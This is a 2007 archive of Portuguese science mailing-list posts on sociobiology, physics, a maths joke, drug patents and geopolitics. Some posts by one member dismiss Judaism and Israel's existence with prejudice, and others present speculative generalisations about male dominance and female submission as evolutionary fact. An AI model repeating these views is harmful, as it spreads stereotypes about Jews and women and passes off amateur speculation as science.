> Acontece que a seleção não tem objetivos de verdade, ela não pode
> "prever" o melhor comportamento ou forma, ela pode apenas
selecionar a
> partir do material existente e com os filtros existentes, de forma
cega.
>
> Se pudesse prever, escolher uma forma de agir direcionada,
existiriam
> sempre poucos machos, que podem fecundar muitas mulheres, e muitas
> fêmeas em todo grupo, em especial em mamíferos.

Eu não entendi muito bem este argumento, e este não era exatamente o
meu ponto (a diferença entre o número de homens e mulheres em uma
sociedade). Mas mesmo tomando esta questão que você levantou, me
parece que seria viável que um homem olhasse para a sociedade,
identificasse que existem mais mulheres que homens (por decorrência
de uma guerra, por exemplo), e desta forma, ao acasalar, procuraria
enviar apenas espermatozóides Y. É possível que, ao longo de algumas
gerações, o equilíbrio evolutivo voltasse a ser restabelecido, e
passasse a existir um número igual de homens e mulheres. Mas meu
ponto era outro. A sociedade poderia ter um número igual de homens e
mulheres, e ainda assim os homens de mais alta hierarquia produziriam
proles mais masculinas, e os de baixa, proles mais femininas.

> Outro ponto em relação a hierarquia grupal, é que sempre há a
> possibilidade de se passar os genes fora do topo da pirâmide, como
no
> caso dos elefantes marinhos. Todo harém de fêmeas "pertence" ao
macho
> dominante, que expulsa os invasores a tapa. Mas, enquanto ele luta
com
> um invasor, outros podem copular nas beiradas do harém..:-)

Sim. Existe a estratégia do "amante": o jovem sem posição hierárquica
que, escondido, faz sexo com as mulheres dos machos dominantes. Mas
se a estratégia do macho dominante que controla um harém existe, é
porque ela se valeu evolutivamente. Isto quer dizer que nem sempre os
amantes conseguiram inseminar as esposas dos dominantes.

Um abraço.
João de Carvalho.






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[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: Re: [ciencialist] Piada para profissionais de ciências exatas...
FROM: "Luiz Ferraz Netto" <leobarretos@uol.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 03/05/2007 16:12


Jesus disse a seus apóstolos:
- Irmãos, y = ax²+bx+c.
Os apóstolos, confusos, responderam:
- Mas, Senhor, o que é isso?
Jesus disse:
- Apenas uma parábola.
++++++++++++++++++++++++++++++
Jesus tá bem ruizinho, também, de geometria, estrutura algébrica e geometria analítica. Aquilo ali em cima é uma função do 2º grau a uma variável, completa. Falta campo de variação e definição. Aquilo pode representar um arco de parábola, num dado intervalo, definida no plano (x,y).
'Apóstolos confusos', é pleonasmo ou redundância?
Se todos apóstolos responderam, não deveria estar assim:
==(Mas, Senhor, o que é isso?)^12 ?
+++++++++++++++++++++++++++++++
Mas, .... :-))

aquele abraço,

y = k (const.,em relação a x)




SUBJECT: Re: [ciencialist] Re: E=m.c2
FROM: "Luiz Ferraz Netto" <leobarretos@uol.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 03/05/2007 16:15

Pergunto:

"poderão serem classificadas..."
ou
"poderão ser classificadas ..."
?
dúvida de portuga.
[]'
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Luiz Ferraz Netto [Léo]
leobarretos@uol.com.br
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-----Mensagem Original-----
De: "Luiz Ferraz Netto" <leobarretos@uol.com.br>
Para: <ciencialist@yahoogrupos.com.br>
Enviada em: quinta-feira, 3 de maio de 2007 08:27
Assunto: Re: [ciencialist] Re: E=m.c2


Oi Roberto,

por estar com plano geral já definido e pronto para uso (grátis) eu recomendaria ao Ferrari o Física na Escola Secundária

"[BLACKWOOD, Oswald, HERRON, Wilmer B., KELLY, William C. Física na escola secundária. Tradução de José Leite Lopes e Jayme Tiomno. Rio de Janeiro: Ed. Fundo de Cultura, 1961. 384p.]"

Cujo índice do Volume 1 está em:

http://www4.prossiga.br/Lopes/prodcien/fisicanaescola/indice.htm

Se ele absorver, no capricho, 30% dos ensinamentos, já estará de bom tamanho para começar a fazer perguntas no C-List! Pelo menos poderão serem classificadas como 'perguntas de física do ensino médio' ... e teremos total prazer em respondê-las!

Se ele se esmerar mesmo, poderemos até contar prá ele o 'segredo do conceito de resistência elétrica', ou o 'segredo da polarização dos pulsos eletromagnéticos nas transmissões da SKY'. Se ele esmerilhar nos estudos, lá pelo ano que vem já poderá saber que um transformador, como qqer outro circuito ou componente, apresenta uma banda passante cujo limite superior fica fixado pelas perdas no núcleo, indutância de dispersão, capacitâncias distribuídas e efeito skin nos fios e, cujo limite inferior se prende pela relação reatância/resistência do primário.

Coisinhas assim. Mas, só se for bem esforçado, praticamente um CDF!

aquele abraço,


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Luiz Ferraz Netto [Léo]
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-----Mensagem Original-----
De: "rmtakata" <roberto.takata@bol.com.br>
Para: <ciencialist@yahoogrupos.com.br>
Enviada em: quinta-feira, 3 de maio de 2007 01:33
Assunto: [ciencialist] Re: E=m.c2


--- Em ciencialist@yahoogrupos.com.br, "Alvaro Augusto \(L\)"
> Você pode afirmar o que quiser. Pode até dizer que o deslocamento é
> uma ilusão.

Q livro de introdução à Física poderíamos recomendar para o Ferrari -
ao menos para ele saber o q quer criticar (em lugar de criticar as
construções q *ele* faz sobre a Física)?

Prof. Zeca, Prof. Leo, seus livros são palatáveis o suficiente para um
início de introdução à mecânica newtoniana?

[]s,

Roberto Takata





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SUBJECT: Re: Questões sociobiológicas
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 03/05/2007 17:14

--- Em ciencialist@yahoogrupos.com.br, "Silvio Cordeiro"
> A seleção natural é aleatória, segue as necessidades de adaptação
> aos diversos cenários da existência humana: eis a diferença dos
> facies e índices melanodérmicos dos humanos.

A seleção natural NÃO é aleatória.

[]s,

Roberto Takata



SUBJECT: Re: [ciencialist] Re: E=m.c2
FROM: "Eduardo Sardeiro" <eduardo@simetrias.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 03/05/2007 17:22

Embora meu forte seja exatas, posso afirmar que
a forma correta é "poderão ser classificadas" visto
que o verbo "poder" encontra-se aqui empregado
como um verbo auxiliar modal, exigindo que o verbo
principal esteja em uma das formas nominais, no
caso o infinitivo do verbo "ser".

Abrs



----- Original Message -----
From: Luiz Ferraz Netto
To: ciencialist@yahoogrupos.com.br
Sent: Thursday, May 03, 2007 4:15 PM
Subject: Re: [ciencialist] Re: E=m.c2


Pergunto:

"poderão serem classificadas..."
ou
"poderão ser classificadas ..."
?
dúvida de portuga.
[]'
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Luiz Ferraz Netto [Léo]
leobarretos@uol.com.br
http://www.feiradeciencias.com.br/doacoes.asp
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-----Mensagem Original-----
De: "Luiz Ferraz Netto" <leobarretos@uol.com.br>
Para: <ciencialist@yahoogrupos.com.br>
Enviada em: quinta-feira, 3 de maio de 2007 08:27
Assunto: Re: [ciencialist] Re: E=m.c2

Oi Roberto,

por estar com plano geral já definido e pronto para uso (grátis) eu recomendaria ao Ferrari o Física na Escola Secundária

"[BLACKWOOD, Oswald, HERRON, Wilmer B., KELLY, William C. Física na escola secundária. Tradução de José Leite Lopes e Jayme Tiomno. Rio de Janeiro: Ed. Fundo de Cultura, 1961. 384p.]"

Cujo índice do Volume 1 está em:

http://www4.prossiga.br/Lopes/prodcien/fisicanaescola/indice.htm

Se ele absorver, no capricho, 30% dos ensinamentos, já estará de bom tamanho para começar a fazer perguntas no C-List! Pelo menos poderão serem classificadas como 'perguntas de física do ensino médio' ... e teremos total prazer em respondê-las!

Se ele se esmerar mesmo, poderemos até contar prá ele o 'segredo do conceito de resistência elétrica', ou o 'segredo da polarização dos pulsos eletromagnéticos nas transmissões da SKY'. Se ele esmerilhar nos estudos, lá pelo ano que vem já poderá saber que um transformador, como qqer outro circuito ou componente, apresenta uma banda passante cujo limite superior fica fixado pelas perdas no núcleo, indutância de dispersão, capacitâncias distribuídas e efeito skin nos fios e, cujo limite inferior se prende pela relação reatância/resistência do primário.

Coisinhas assim. Mas, só se for bem esforçado, praticamente um CDF!

aquele abraço,

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Luiz Ferraz Netto [Léo]
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De: "rmtakata" <roberto.takata@bol.com.br>
Para: <ciencialist@yahoogrupos.com.br>
Enviada em: quinta-feira, 3 de maio de 2007 01:33
Assunto: [ciencialist] Re: E=m.c2

--- Em ciencialist@yahoogrupos.com.br, "Alvaro Augusto \(L\)"
> Você pode afirmar o que quiser. Pode até dizer que o deslocamento é
> uma ilusão.

Q livro de introdução à Física poderíamos recomendar para o Ferrari -
ao menos para ele saber o q quer criticar (em lugar de criticar as
construções q *ele* faz sobre a Física)?

Prof. Zeca, Prof. Leo, seus livros são palatáveis o suficiente para um
início de introdução à mecânica newtoniana?

[]s,

Roberto Takata

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[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: Re: Questões sociobiológicas
FROM: "Joao de Carvalho" <joaobncarvalho@hotmail.com>
TO: ciencialist@yahoogrupos.com.br
DATE: 03/05/2007 18:36

Olá, Takata.

> > Mas posso pelo menos responder a sua pergunta: Os homens de alta
> > hierarquia acasalariam com as mulheres que seriam produzidas
pelos
> > de mais baixa hierarquia.

> Presto! E com isso elas trariam eventuais genes da baixa hierarquia
> para a alta hierarquia. (O q claro, vai contra o pressuposto de uma
> hierarquia fixa.)

Está havendo um engano de interpretação. Eu não estou supondo que
existam genes que façam o sujeito ser de baixa ou alta hierarquia.
Estou apenas dizendo que ele pode funcionar de formas diferentes
conforme sua posição hierárquica.

> > Homens de alta hierarquia podem acasalar (ou mesmo casar, em
algumas
> > culturas), com mais mulheres que os de baixa.

> Por q? Um homem de baixa hierarquia poderia muito bem ter filhos com
> muitas mulheres tb. A menos q vc esteja supondo q a hierarquia
humana
> seja baseada na força, como nos leões ou chimpanzés - em q o macho
> dominante seria capaz de, no tapa, manter os pretendentes afastados
de
> seu harém.

Do ponto de vista masculino, se um sujeito é de mais alta hierarquia
é mais provável que ele consiga firmar contratos de casamento com
mulheres mais interessantes, e com um maior número delas. Até onde eu
sei, existem bons dados etnográficos para sustentar essa hipótese.
(Estou tirando as civilizações, que são anomalias. O imperador Inca
tinha umas mil mulheres. Já falei do imperador do Marrocos, que devia
ter um bocado para conseguir gerar mais de 800 filhos. É muito
provável que monarcas de todas as épocas tenham tido acesso sexual a
um número incontável de mulheres.) Do ponto de vista feminino isto é
um fato conhecido, quase óbvio. Se o sujeito faz sucesso, tem
dinheiro, tem prestígio, tem um BMW, chove mulher em cima dele.

> > É que me parece que seria um passo tão simples inibir a
quantidade
> > de espermatozóides Y, ou X.

> Simples???? Simplicidade evolutiva não se manifesta pela
simplicidade
> de enunciação da característica.

Eu digo, é bem mais simples que transformar numa mulher um homem que
decaiu na hierarquia. Poderia ser uma proteína que entrasse nos
espermatozóides e se grudasse no cromossoma Y ou X. Ao se grudar ela
ativaria uma outra proteína que desabilitaria alguma função vital do
espermatozóide. Esta outra podia se grudar em uma das proteínas do
ciclo de Krebs, por exemplo, e inativá-la. Devem ter mil coisas em
que uma proteína possa grudar para estragar o funcionamento da
célula. Criar uma proteína desse tipo me parece um passo evolutivo
muito fácil.

Takata:

> Só pra mostrar como especulações apriorísticas em evolução é
> complicada, poderíamos concluir o oposto do q se supõem: q os machos
> de hierarquia superior ganham mais tendo mais mulheres do q homens
em
> sua prole.
>
> É quase certo q uma criança nascida de uma dada mulher seja filha
> dessa mulher (desconsiderando-se os casos de barriga de aluguel).
Mas
> há chances não desprezíveis de q a criança nascida da parceira de um
> dado homem não seja filha dele.
>
> Por questões de investimento de recursos como a herança, para um
> hierarca pode ser mais vantajoso ter mulher em sua prole - de um
lado
> tendo menos herdeiros e pulverizando menos o patrimônio familiar (q
> poderiam ser investidos na continuidade das gerações) e, de outro,
> tendo uma maior chance de q o herdeiro seja um herdeiro genético.

Sociedades matrilineares realmente existem, nas quais a herança e o
nome da família são passados pela linha materna. Isso ocorre em
sociedades em que as mulheres e o sexo são mais livres, o que faz com
que existam dúvidas quanto à paternidade de um marido. Mas acontece
que nessas sociedades a autoridade familiar não é exercida pelo
marido, e sua linhagem e herança não vão para os seus filhos, e sim
para os filhos de sua irmã. A autoridade familiar é o irmão da mãe,
pois é certo que ele compartilha genes com ela. Um sobrinho, porém,
tem apenas 25% dos genes do tio, contra 50% de um pai. Talvez por
isso existam muito mais culturas patrilineares que matrilineares. Em
culturas patrilineares o sexo é mais restrito e as mulheres são mais
controladas e submissas. Isso aumenta as chances do marido ser o
verdadeiro pai da criança. Em sociedades matrilineares seria mais
vantajoso que mulheres de alta hierarquia tivessem filhos homens,
pois esses filhos herdariam a posição social de suas mães e tios e
acasalariam com um número maior de mulheres (até porque o sexo nessas
sociedades é mais livre). Mas para a mulher definir se sua prole será
masculina ou feminina me parece um passo evolutivo mais complicado.
Também, nessas sociedades, o marido e o casamento não são elementos
muito importantes, o que torna menos provável da mulher ascender
socialmente através do casamento.

Abraços.
João de Carvalho.




SUBJECT: Re: Pergunta de Geopolítica
FROM: "Joao de Carvalho" <joaobncarvalho@hotmail.com>
TO: ciencialist@yahoogrupos.com.br
DATE: 03/05/2007 18:43

Olá, Takata.

> O Oriente Médio tem sido um barril de pólvora, entre outras coisas,
> por conta dos barris de petróleo q jorram de suas jazidas.
>
> A América Latina sempre foi relegada a um plano secundário (pelo
menos
> desde a descolonização nos idos de 1800 e tantos).
>
> Mas com a questão do chavismo sustentado no petróleo venezuelano, o
> moralesianismo no gás boliviano e agora a questão do álcool
> combustível brasileiro... q bicho vai dar nestas paragens?

Pode esquentar. Mas, se não me engano, o Oriente Médio tem muito mais
petróleo que a América Latina. E acredito que o principal problema do
Oriente Médio é Israel. Foi uma péssima idéia botar aquele estado lá.
Eu acho que eles deviam ter dado o sertão da Bahia a oeste do rio São
Francisco para os judeus. Não tem p. nenhuma lá. Aí teríamos uma
região de primeiro mundo no meio do sertão.

Saudações.
João de Carvalho.




SUBJECT: Re: Questões sociobiológicas
FROM: "Joao de Carvalho" <joaobncarvalho@hotmail.com>
TO: ciencialist@yahoogrupos.com.br
DATE: 03/05/2007 18:53

Olá, Sílvio.

> A seleção natural é aleatória, segue as necessidades de adaptação
aos diversos cenários da existência humana: eis a diferença dos
facies e índices melanodérmicos dos humanos.

Como disse o Takata, a seleção não é aleatória. Ela seleciona
elementos criados pelo acaso, mas esta seleção não se dá ao acaso.

O que são facies?

Saudações.
João de Carvalho.




SUBJECT: Re: [ciencialist] Re: Pergunta de Geopolítica
FROM: Gil <nanolink01@gmail.com>
TO: ciencialist@yahoogrupos.com.br
DATE: 03/05/2007 19:11

João, já pegou para ler sobre a história de Israel? O investimento e
apoio que ele recebeu, a anexação das fontes de água, o papel como
base aliada contra o nacionalismo Árabe?
Você acha que o ser de "primeiro mundo" é unicamente questão de ter
pessoas com habilidade para construir tal mundo? Ou é necessário uma
convergência de fatores que *existia* na Palestina, e que possibilitou
que a historia se desenvolvesse desse jeito?
Acha que os EUA dariam apoio e proteção a Israel se ele estivesse
causando divisoes em um país relativamente "inócuo" como o Brasil?


Gil

Em 03/05/07, Joao de Carvalho<joaobncarvalho@hotmail.com> escreveu:

> Eu acho que eles deviam ter dado o sertão da Bahia a oeste do rio São
> Francisco para os judeus. Não tem p. nenhuma lá. Aí teríamos uma
> região de primeiro mundo no meio do sertão.
>
> Saudações.
> João de Carvalho.
>
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> Página de apoio
> http://www.ciencialist.com
>
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> Links do Yahoo! Grupos
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SUBJECT: Re: Questões sociobiológicas
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 03/05/2007 19:11

--- Em ciencialist@yahoogrupos.com.br, "Joao de Carvalho"
> Estou apenas dizendo que ele pode funcionar de formas diferentes
> conforme sua posição hierárquica.

Poder pode. Mas como disse, a seleção natural atua apenas sobre o q
existe. Suponhamos q haja mm vantagem nesse tipo de característica de
atuação dos genes sobre a razão sexual da prole (e isso ainda está
para ser provado), não temos garantias de q surgirão necessariamente
genes q confiram essa propriedade aos organismos portadores.

Seria bom se os humanos tivessem genes q digerissem celulose. Mas isso
não faz com q surjam genes q permitam isso.

> Do ponto de vista masculino, se um sujeito é de mais alta hierarquia
> é mais provável que ele consiga firmar contratos de casamento com
> mulheres mais interessantes, e com um maior número delas.

Isso precisa ser provado. Os dados etnográficos podem indicar q em
certas culturas homens de maior posição social tenham direito a
haréns, mas isso não significa q homens de menor status tenham menor
acesso às mulheres de forma geral.

> Eu digo, é bem mais simples que transformar numa mulher um homem que
> decaiu na hierarquia. Poderia ser uma proteína que entrasse nos
> espermatozóides e se grudasse no cromossoma Y ou X.

Ué, poderia ser tb uma proteína q induzisse à formação de tecido
ovariano em homens - os homens possuem todos os genes q produzem uma
mulher.

> Sociedades matrilineares realmente existem, nas quais a herança e o
> nome da família são passados pela linha materna.

Não estou nem falando em sociedades matrilineares. O cenário
hipótetico delineado independe da linha sucessória. Prole com mais
mulheres, descendência menos numerosa, maior concentração de recursos,
maior investimento na prole, maior probabilidade de sobrevivência.

[]s,

Roberto Takata



SUBJECT: Re: Questões sociobiológicas
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 03/05/2007 19:56

--- Em ciencialist@yahoogrupos.com.br, "rmtakata" <roberto.takata@...>
> Seria bom se os humanos tivessem genes q digerissem celulose.

Melhor dizendo, genes q conferissem a capacidade de digestão da
celulose - por exemplo, via produção de celulase.

(Em tempo, a criação de um novo gene NÃO é nem um pouco um passo simples.)

[]s,

Roberto Takata



SUBJECT: Quebra de patente de droga anti-aids
FROM: Emanuel Valente <emanuelvalente@gmail.com>
TO: ciencialist@yahoogrupos.com.br
DATE: 03/05/2007 20:19

Olá amigos,
saiu hoje na Reuters que o planalto decretou a lei que quebra a
patente anti-drogas no Brasil:
http://noticias.uol.com.br/ultnot/reuters/2007/05/03/ult27u61154.jhtm.
Isso poderia causar futuros embargos de países sede de laborátorios
fabricantes de tais drogas, como Estados Unidos?

[]´s
Emanuel Valente




SUBJECT: Intervalo de números infinitos e ponteiros do relógio
FROM: "Luiz Antonio Picanço" <lpicanco@gmail.com>
TO: ciencialist@yahoogrupos.com.br
DATE: 03/05/2007 20:35

Olá pessoal,

Me desculpem a pergunta leiga, mas:

Se entre 1 e 2 existem uma infinidade de números, o ponteiro do relógio ao
se deslocar de 1 para 2 percorreu essa infinidade de números ?

Abraços
--
Luiz Antonio Picanço

Programando na madrugada:
http://www.luizantonio.com
Não Enche:
http://www.naoenche.com


[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: Re: Intervalo de números infinitos e ponteiros do relógio
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 03/05/2007 20:44

--- Em ciencialist@yahoogrupos.com.br, "Luiz Antonio Picanço"
> Se entre 1 e 2 existem uma infinidade de números, o ponteiro do
> relógio ao se deslocar de 1 para 2 percorreu essa infinidade de
> números ?

Sim, os ponteiros do relógio percorrem todas as unidades
infinitesimais de espaço entre quaisquer dois pontos de seu percurso.

(Embora haja uma interpretação quantizada para o espaço-tempo tb. Mas
mm em uma distribuição contínua, não há problemas conforme nos mostra
as noção matemática de limite - respondendo a um dos chamados
paradoxos de Zenão.)

[]s,

Roberto Takata



SUBJECT: Re: Quebra de patente de droga anti-aids
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 03/05/2007 20:59

--- Em ciencialist@yahoogrupos.com.br, Emanuel Valente
> saiu hoje na Reuters que o planalto decretou a lei que quebra a
> patente anti-drogas no Brasil:
> http://noticias.uol.com.br/ultnot/reuters/2007/05/03/ult27u61154.jhtm.
> Isso poderia causar futuros embargos de países sede de laborátorios
> fabricantes de tais drogas, como Estados Unidos?

Eles podem até tentar. Mas o Brasil conseguiu o apoio de órgãos como a
OMS. Além disso, a aprovação da lei não significa q o país irá quebrar
as patentes - o caminho principal deve ser a da negociação de preços
com as empresas detentoras. Além disso, com a quebra da patente, não
significaria q a empresa titular não receberia nada - mas receberia o
q o governo achar q seja o pagamento justo (obviamente seria bem menos
do q o valor q a empresa estaria disposta a cobrar).

De todo modo, haverá - como há - pressão de governos de países como os
EUA. Pressão natural. A ser julgada nas instâncias de organismos como
a OMC.

Tenderá pesar a favor de eventuais quebras de patentes -
demonstrando-se necessidade - a chamada opinião pública internacional,
pois é um caso q se encaixa nas questões humanitárias.

[]s,

Roberto Takata



SUBJECT: Re: E=m.c2
FROM: José Carlos Antonio <profjc2003@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 04/05/2007 01:31

Takata San,

Os meus são vendidos apenas na rede particular. O "livro público" está
sendo escrito (muito lentamente) na Internet. Porém, contudo,
entretanto e apesar de tudo, duvido muito que o Ferrari ou o José
Renato iriam "perder tempo" aprendendo aquilo que eles imaginam que já
nascem sabendo e que, de qualquer forma, lhes custaria algum tempo e
dedicação para aprender.

Eles querem "interagir" já! Não têm tempo para aprendizagens longas e
paciência para ouvir respostas divergentes de suas concepções
pré-estabelecidas. São casos crônicos de má formação científica que
representam a maioria da população. Só são destacados aqui porque são
bem articulados linguisticamente e porque damos suporte a eles.

Recomendo que leiam Pato Donald.

Abraços,
JC

--- Em ciencialist@yahoogrupos.com.br, "rmtakata" <roberto.takata@...>
escreveu
>
> --- Em ciencialist@yahoogrupos.com.br, "Alvaro Augusto \(L\)"
> > Você pode afirmar o que quiser. Pode até dizer que o deslocamento é
> > uma ilusão.
>
> Q livro de introdução à Física poderíamos recomendar para o Ferrari -
> ao menos para ele saber o q quer criticar (em lugar de criticar as
> construções q *ele* faz sobre a Física)?
>
> Prof. Zeca, Prof. Leo, seus livros são palatáveis o suficiente para um
> início de introdução à mecânica newtoniana?
>
> []s,
>
> Roberto Takata
>




SUBJECT: Re: Piada para profissionais de ciências exatas...
FROM: José Carlos Antonio <profjc2003@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 04/05/2007 01:33

:)))

Enfim algo útil nessa lista!!!

Valeu!


--- Em ciencialist@yahoogrupos.com.br, "Eduardo Sardeiro"
<eduardo@...> escreveu
>
> Jesus disse a seus apóstolos:
> - Irmãos, y = ax²+bx+c.
> Os apóstolos, confusos, responderam:
> - Mas, Senhor, o que é isso?
> Jesus disse:
> - Apenas uma parábola.
>
>
>
>
>
>
>
>
>
>
>
> [As partes desta mensagem que não continham texto foram removidas]
>




SUBJECT: Re: Intervalo de números infinitos e ponteiros do relógio
FROM: José Carlos Antonio <profjc2003@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 04/05/2007 01:36

Sim.



--- Em ciencialist@yahoogrupos.com.br, "Luiz Antonio Picanço"
<lpicanco@...> escreveu
>
> Olá pessoal,
>
> Me desculpem a pergunta leiga, mas:
>
> Se entre 1 e 2 existem uma infinidade de números, o ponteiro do
relógio ao
> se deslocar de 1 para 2 percorreu essa infinidade de números ?
>
> Abraços
> --
> Luiz Antonio Picanço
>
> Programando na madrugada:
> http://www.luizantonio.com
> Não Enche:
> http://www.naoenche.com
>
>
> [As partes desta mensagem que não continham texto foram removidas]
>




SUBJECT: Re: Questões sociobiológicas
FROM: "Joao de Carvalho" <joaobncarvalho@hotmail.com>
TO: ciencialist@yahoogrupos.com.br
DATE: 04/05/2007 08:48

Olá, Takata.

> Seria bom se os humanos tivessem genes q digerissem celulose. Mas
isso
> não faz com q surjam genes q permitam isso.

Os gorilas não tem esse gene? Ele pode ser uma característica
ancestral, que, por alguma razão, perdemos. Deve haver algum motivo
para isso. A princípio seria bom digerir celulose. O capim seria como
macarrão. Mas acho que tem que ter um aparato digestivo grande, e é
trabalhoso. Para uma criatura esbelta como o ser humano pode não ser
uma vantagem. (Se bem que as gazelas parecem digerir celulose, e elas
são esbeltas.) Mas eu tenho a impressão de que não é tarefa fácil
digerir esse polímero.

> Isso precisa ser provado. Os dados etnográficos podem indicar q em
> certas culturas homens de maior posição social tenham direito a
> haréns, mas isso não significa q homens de menor status tenham menor
> acesso às mulheres de forma geral.

Só se eles entrarem no harém de um macho dominante enquanto ele está
dormindo ou caçando, e acasalar com suas mulheres. Foi o que
aconteceu com Don Juan. Isto porque, se os homens de mais alta
hierarquia têm várias mulheres, não vão sobrar muitas para os de
baixa.

Estava aqui pensando, talvez o motivo da razão sexual ser 1 pode ser
que, no ambiente ancestral, homens de alta hierarquia eram os velhos,
e os de baixa eram os jovens. Os velhos monopolizavam todas as
mulheres, deixando os jovens sem nenhuma. Se a idade for o principal
determinante da hierarquia, então ser filho de alguém de alta
hierarquia pode não significar grandes coisas. As regras de casamento
são muito bem claras, não deixando espaço para escolhas. (Segundo
Fox, essas regras determinavam a distribuição das mulheres entre os
velhos homens, deixando os jovens de fora. É a hierarquia primata em
sua forma humana.) Existia, é claro, os acasalamentos dos jovens com
as esposas dos velhos machos na clandestinidade. Mas para esse tipo
de sexo hierarquia não é muito importante. É comum, em histórias
eróticas, uma mulher casada com um poderoso empresário que,
escondida, faz sexo com o jardineiro. Para a mulher, hierarquia é
importante para casar, e não para acasalar. Mas mesmo assim acho
estranho que esse importante elemento: o sexo da prole, se dê
completamente ao acaso, sem que nenhum fator social ou ambiental
interfira. (Existem umas espécies em que, em condições ambientais
adversas, dão origem apenas a fêmeas (por partenogênese).)

> > Eu digo, é bem mais simples que transformar numa mulher um homem
que
> > decaiu na hierarquia. Poderia ser uma proteína que entrasse nos
> > espermatozóides e se grudasse no cromossoma Y ou X.

> Ué, poderia ser tb uma proteína q induzisse à formação de tecido
> ovariano em homens - os homens possuem todos os genes q produzem uma
> mulher.

Teria que haver um alargamento dos quadris, produção de seios,
reestruturação da mente (afinal, para o cara que se transforma em
mulher querer beijar um macho barbudo tem que mexer profundamente em
seu cérebro), além de muitas outras diferenças comportamentais.
Especulo também que deva existir um monte de outras diferenças entre
os sexos, muitas das quais nós nem conhecemos. Como disse um livro
popular, homens e mulheres são quase como seres de planetas
diferentes.

> > Sociedades matrilineares realmente existem, nas quais a herança e
o
> > nome da família são passados pela linha materna.

> Não estou nem falando em sociedades matrilineares. O cenário
> hipótetico delineado independe da linha sucessória. Prole com mais
> mulheres, descendência menos numerosa, maior concentração de
recursos,
> maior investimento na prole, maior probabilidade de sobrevivência.

Takata, você está dizendo que, em termos evolutivos, é melhor ter uma
prole pequena? Uma prole grande sempre será um fator fundamental para
a evolução. Até porque, um homem que acasale com várias mulheres não
vai acasalar apenas com suas mulheres, mas também com as mulheres dos
outros, que tomarão os filhos como sendo seus e os criarão investindo
recursos neles. É uma estratégia muito boa. Para os machos, a
maximização da quantidade sempre será um de seus principais
objetivos. Eu diria que essa é a essência do macho; a fonte de sua
força e ambição. A mulher está limitada pela natureza de seu corpo.
Para o homem, sempre existe a possibilidade de ir mais longe.

Saudações.
João de Carvalho.





SUBJECT: Re: Pergunta de Geopolítica
FROM: "Joao de Carvalho" <joaobncarvalho@hotmail.com>
TO: ciencialist@yahoogrupos.com.br
DATE: 04/05/2007 09:04

Olá. Gil.

Nunca li sobre a história de Israel, mas acho que ela é uma fonte de
distúrbios para todo o mundo desenvolvido.

> Você acha que o ser de "primeiro mundo" é unicamente questão de ter
> pessoas com habilidade para construir tal mundo? Ou é necessário uma
> convergência de fatores que *existia* na Palestina

Convergência de fatores? Além de ser uma base dos EUA na região, que
fatores existem naquele pedaço de terra árida?

Eu acho que os judeus foram para lá porque para eles aquela é uma
terra sagrada, dada a eles por Deus. Usar isso como argumento para
uma ação geopolítica em larga escala é uma insanidade. Qual é?
Estamos na modernidade. Os judeus ainda não perceberam isso? Aquilo é
uma religião tribal que, por alguma razão, perdurou por milhares de
anos até os nossos dias.

Saudações.
João de Carvalho.




SUBJECT: Re: [ciencialist] Re: As Regras do Jogo ::: (artigo) - sobre o ego
FROM: Ferrari <emailferrari@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 04/05/2007 10:08

Olá Oraculo!

Homero >>> O texto do Ferrari é um plágio/chupada de
um excelente texto do site do Projeto Ockam, sobre o
método Científico.

--- Homero, por favor, a não ser que voce tenha como
provar sua acusação, peço, sinceramente para que
retire o que disse, pois não é verdade.

--- Sequer conheço este site que citou. E escrevi o
que escrevi porque é assim que vejo. Este texto que
postei é parte de outros que já estão escritos e darão
corpo ao blog: Ego Game.

http://egogame.blogspot.com

Este é um blog que trata do funcionamento do cérebro.
Inevitavel que o que eu escreva sobre o funcionamento
do cérebro tenha a ver com o método cientifico, uma
vez que este (o método cientifico) é uma criação do
cérebro, não é mesmo?

Homero >>> Recomendo a leitura, até para desfazer os
enganos apresentados pelo Ferrari quanto ao que é
razão, raciocínio e método científico.

--- Facil acusar sem dar provas, não é mesmo? Por
favor, se o que escrevi neste artigo está equivocado,
aponte onde e porque, Homero. Senão, como debater?

Homero >>> PS: O Ferrari, pelo menos cite a fonte de
suas idéias..:-)

--- Já te disse mil vezes, escrevo o que penso sobre o
que observo. Se vc não acredita no que digo, o
problema é seu. E seu o tal site usou a mesma metáfora
creio que é por dois motivos:

1) As regras do jogo são realmente um fato dentro do
funcionamento do cerebro.

2) A metafora do jogo é realemente uma boa metáfora
para se entender e compreender o assunto.


sinceramente
ferrari





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SUBJECT: Re: [ciencialist] Re: Intervalo de números infinitos e ponteiros do relógio
FROM: "Luiz Ferraz Netto" <leobarretos@uol.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 04/05/2007 10:16

Complementando ........

Xará, isso serve bem para observar como o conceito de 'infinito', 'infinidade' é relativo; infinitos números cabem entre dois tracinhos do mostrador do relógio! Para o míope o ponto remoto (seu infinito de visão distinta) pode estar apenas a 40 cm de distância! A mesma infinidade de números que cabem entre aqueles dois tracinhos no relógio cabem também entre os 'tracinhos' Terra e Marte.

[]'
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Luiz Ferraz Netto [Léo]
leobarretos@uol.com.br
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-----Mensagem Original-----
De: "rmtakata" <roberto.takata@bol.com.br>
Para: <ciencialist@yahoogrupos.com.br>
Enviada em: quinta-feira, 3 de maio de 2007 20:44
Assunto: [ciencialist] Re: Intervalo de números infinitos e ponteiros do relógio


--- Em ciencialist@yahoogrupos.com.br, "Luiz Antonio Picanço"
> Se entre 1 e 2 existem uma infinidade de números, o ponteiro do
